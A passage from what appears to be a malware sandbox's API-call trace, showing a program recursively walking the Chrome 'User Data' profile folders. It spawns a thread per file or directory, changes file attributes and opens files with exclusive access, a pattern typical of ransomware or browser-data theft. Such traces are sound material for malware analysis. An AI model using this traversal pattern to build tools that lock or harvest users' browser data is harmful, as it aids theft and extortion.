_Source="Crashpad" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0151.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd656b0 [0151.372] wcscpy (in: _Dest=0x1cd656b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0151.372] wcscat (in: _Dest=0x1cd656b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0151.372] wcscat (in: _Dest=0x1cd656b0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*" [0151.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027d1c0 [0151.372] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cea60 [0151.385] wcscmp (_String1=".", _String2=".") returned 0 [0151.386] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.386] wcscmp (_String1="..", _String2=".") returned 1 [0151.386] wcscmp (_String1="..", _String2="..") returned 0 [0151.386] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f5beda0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata", cAlternateFileName="")) returned 1 [0151.386] wcscmp (_String1="metadata", _String2=".") returned 1 [0151.386] wcscmp (_String1="metadata", _String2="..") returned 1 [0151.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279430 [0151.386] wcscpy (in: _Dest=0x20279430, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0151.386] wcscat (in: _Dest=0x20279430, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0151.386] wcscat (in: _Dest=0x20279430, _Source="metadata" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" [0151.386] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata")) returned 0x2020 [0151.407] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata", dwFileAttributes=0x20) [0203.087] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2ae4 [0203.088] GetFileSizeEx (in: hFile=0x2ae4, lpFileSize=0x21d3f720 | out: lpFileSize=0x21d3f720*=0) returned 1 [0203.088] FlushFileBuffers (hFile=0x2ae4) returned 1 [0204.255] CloseHandle (hObject=0x2ae4) returned 1 [0204.255] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata", dwFileAttributes=0x2020) returned 1 [0215.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279430) returned 1 [0215.186] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="reports", cAlternateFileName="")) returned 1 [0215.186] wcscmp (_String1="reports", _String2=".") returned 1 [0215.186] wcscmp (_String1="reports", _String2="..") returned 1 [0215.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279430 [0215.187] wcscpy (in: _Dest=0x20279430, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0215.187] wcscat (in: _Dest=0x20279430, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0215.187] wcscat (in: _Dest=0x20279430, _Source="reports" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" [0215.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20279430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ee0 [0215.189] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3a6374a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0215.189] wcscmp (_String1="settings.dat", _String2=".") returned 1 [0215.189] wcscmp (_String1="settings.dat", _String2="..") returned 1 [0215.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4311c220 [0215.189] wcscpy (in: _Dest=0x4311c220, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0215.189] wcscat (in: _Dest=0x4311c220, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0215.189] wcscat (in: _Dest=0x4311c220, _Source="settings.dat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" [0215.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4311c220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xea0 [0215.190] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3a6374a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0215.190] FindClose (in: hFindFile=0x1b7cea60 | out: hFindFile=0x1b7cea60) returned 1 [0215.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027d1c0) returned 1 [0215.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd656b0) returned 1 [0215.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ef0) returned 1 [0215.193] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0215.193] wcscmp (_String1="Default", _String2=".") returned 1 [0215.193] wcscmp (_String1="Default", _String2="..") returned 1 [0215.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x43187ee0 [0215.193] wcscpy (in: _Dest=0x43187ee0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0215.193] wcscat (in: _Dest=0x43187ee0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0215.193] wcscat (in: _Dest=0x43187ee0, _Source="Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0215.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x43187ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2510 [0215.194] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0215.194] wcscmp (_String1="EVWhitelist", _String2=".") returned 1 [0215.194] wcscmp (_String1="EVWhitelist", _String2="..") returned 1 [0215.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65ef0 [0215.195] wcscpy (in: _Dest=0x1cd65ef0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0215.195] wcscat (in: _Dest=0x1cd65ef0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0215.195] wcscat (in: _Dest=0x1cd65ef0, _Source="EVWhitelist" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" [0215.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd65ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f48 [0215.209] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0215.209] wcscmp (_String1="FileTypePolicies", _String2=".") returned 1 [0215.209] wcscmp (_String1="FileTypePolicies", _String2="..") returned 1 [0215.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x431ec8a0 [0215.209] wcscpy (in: _Dest=0x431ec8a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0215.209] wcscat (in: _Dest=0x431ec8a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0215.209] wcscat (in: _Dest=0x431ec8a0, _Source="FileTypePolicies" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" [0215.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x431ec8a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3138 [0215.218] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8b8920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8b8920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f8b8920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0215.218] wcscmp (_String1="First Run", _String2=".") returned 1 [0215.218] wcscmp (_String1="First Run", _String2="..") returned 1 [0215.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd64dc0 [0215.218] wcscpy (in: _Dest=0x1cd64dc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0215.218] wcscat (in: _Dest=0x1cd64dc0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0215.218] wcscat (in: _Dest=0x1cd64dc0, _Source="First Run" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" [0215.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd70 [0215.274] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85749110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c0bcce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0bf3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1082a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0215.275] wcscmp (_String1="Local State", _String2=".") returned 1 [0215.275] wcscmp (_String1="Local State", _String2="..") returned 1 [0215.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce167c0 [0215.275] wcscpy (in: _Dest=0x1ce167c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0215.275] wcscat (in: _Dest=0x1ce167c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0215.275] wcscat (in: _Dest=0x1ce167c0, _Source="Local State" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" [0215.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce167c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ce8 [0215.293] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0215.293] wcscmp (_String1="OriginTrials", _String2=".") returned 1 [0215.293] wcscmp (_String1="OriginTrials", _String2="..") returned 1 [0215.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce16920 [0215.294] wcscpy (in: _Dest=0x1ce16920, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0215.294] wcscat (in: _Dest=0x1ce16920, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0215.294] wcscat (in: _Dest=0x1ce16920, _Source="OriginTrials" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" [0215.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ce16920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b80 [0215.295] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0215.295] wcscmp (_String1="PepperFlash", _String2=".") returned 1 [0215.295] wcscmp (_String1="PepperFlash", _String2="..") returned 1 [0215.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce169d0 [0215.297] wcscpy (in: _Dest=0x1ce169d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0215.297] wcscat (in: _Dest=0x1ce169d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0215.297] wcscat (in: _Dest=0x1ce169d0, _Source="PepperFlash" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" [0215.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ce169d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa98 [0215.298] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0215.298] wcscmp (_String1="pnacl", _String2=".") returned 1 [0215.298] wcscmp (_String1="pnacl", _String2="..") returned 1 [0215.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431834e0 [0215.299] wcscpy (in: _Dest=0x431834e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0215.299] wcscat (in: _Dest=0x431834e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0215.299] wcscat (in: _Dest=0x431834e0, _Source="pnacl" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" [0215.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x431834e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa9c [0215.300] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f6e8b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, 